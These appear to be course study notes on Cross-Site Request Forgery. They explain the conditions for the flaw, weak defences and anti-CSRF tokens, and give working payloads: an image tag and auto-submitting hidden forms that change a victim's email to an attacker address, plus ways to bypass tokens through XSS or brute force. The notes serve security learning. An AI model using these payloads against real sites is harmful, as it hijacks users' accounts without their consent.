CSRF

Notes from elearn course

Cross-Site Request Forgery occurs when developers omit the prevention mechanisms.

Everyday, web applications perform several cross-site requests such as: requiring external hosted images, JavaScript code, stylesheets and so forth. There is nothing wrong with this quite simply because it’s the way the Web works.

The “wrong part” is when these requests are forged in order to send money to the attacker by both performing privileged actions and other malicious operations.

Generally speaking, CSRF attacks allow one to exploit the trust relationship between a web application and the HTTP requests made by its users. This forces them to perform arbitrary operations on behalf of the attacker.

A web application is vulnerable to CSRF attacks if:

  • when tracking sessions, the application relies both on mechanisms like HTTP Cookies and Basic Authentication which are automatically injected into the request by the browser

  • the attacker is able to determine all the required parameters in order to perform the malicious request (i.e. no unpredictable parameters are required)

Clearly, in order to to exploit a CSRF flaw successfully, the attacker has to do the following:

  • make sure that the victim has a valid and active session when the malicious request is executed

  • be able to forge a valid request on behalf of the victim.

There are mainly two instances in which this may occur.

  • The first and most dangerous is when the application lacks anti CSRF defenses.

  • The second, in contrast to the first, contains weak anti-CSRF defense mechanisms such as cookie-only based solutions, confirmation screens, using POST, checking the referer header.

Attack Vectors

Forced browsing via GET to change email address (Form has to be a GET request)

<img src='http://victim.site/csrf/changeemail/change.php?old=mycoolemail%40victim.site&new=evil%40hacker.site'>

HTML4&5 vectors that require user interaction:

<a href=URL>click here
<form><input formaction=URL>
<button formaction=URL>

HTML4&5 vectors that do not require user interaction:

<iframe src=URL>
<script src=URL />
<input type="image" src=URL alt="">
<embed src=URL>
<audio src=URL>
<video src=URL>
<source src=URL >
<video poster=URL>
<link rel="stylesheet" href=URL>
<object data=URL>
<body background=URL>
<div style="background:url(URL)">
<style>body { background:url(URL) } </style>

Submitting data that needs to be processed server-side utilizing the HTTP GET method is not a good idea.

GET requests should only be used to retrieve information while POST is the appropriate method to use when dealing with sensitive data.

Auto-submitting a form requires the submit() method and a bit of JavaScript. See the below example:

<form action="change.php" method="POST" id="CSRForm">
<input name="old" value="myC00Lemail@victim.site">
<input name="new" value="evil@hacker.site">
</form>
<script>document.getElementById("CSRForm").submit()</script>

You can use other vectors to auto submit the forms

<form action="change.php" method="POST" id="CSRForm">
<input name="old" value="myC00Lemail@victim.site">
<input name="new" value="evil@hacker.site">
<img src=x onerror="CSRForm.submit();">
</form>
<form action="change.php" method="POST" id="CSRForm">
<input name="old" value="myC00Lemail@victim.site">
<input name="new" value="evil@hacker.site" autofocus onfocus="CSRForm.submit()">
</form>

Performing post requests silently

<iframe style="display:none" name="CSRFrame"></iframe>
<form action="change.php" method="POST" id="CSRForm" target="CSRFrame">
<input name="old" value="myC00Lemail@victim.site">
<input name="new" value="evil@hacker.site">
</form>
<script>document.getElementById("CSRForm").submit()</script>

Exploiting weak anti CSRF measures

The first weak Anti-CSRF measure involves using only POST requests of the trusted mechanism. As we already know, GET requests can be cached, bookmarked, etc. This is the nature of the web and it should not be used for operations that cause state to change. These may include functionality like database operations, writing files and so forth.

The HTTP Referer header was introduced to allow a server to check where a request was originated and therefore perform logging, optimized caching, etc.

This implementation has some common mistakes however. Perhaps, the most notable, is the referrer not being sent if the website is using SSL/TLS. This doesn't take into consideration that firewalls, corporate proxies, and so forth might remove this header.

One of the most effective solutions for reducing the likelihood of CSRF exploitation is to use a Synchronizer Token Pattern, commonly called Anti-CSRF Tokens. This design pattern requires the generating of a challenge token that will be inserted within the HTML page. Once the user wishes to invoke operations that require the token, then it must be included in the request.

In addition to correct implementation of the token pattern system, it is essential that the token values are randomly generated. This is so that they cannot be guessed by an attacker.

Another possible scenario is when the application implements strong Anti-CSRF tokens but, lacks the verification server-side. This may seem unlikely but, has occurred!

Anti-CSRF token mechanisms, and other CSRF prevention techniques have been introduced to mitigate security attacks involving Cross-site Request Forgery however, not stacked attacks that involve Cross-site Scripting (XSS). A single XSS flaw is like a storm that overwhelms the entire CSRF protection system.

Technically, once we have exploited an XSS flaw, we are in the same origin of the CSR. All defenses against CSRF, except Challenge-Response mechanisms, are useless. Synchronizer token, Checking the Referer header and Checking the Origin header can all be bypassed.

It is also possible to bruteforce anti CSRF tokens if they are weak.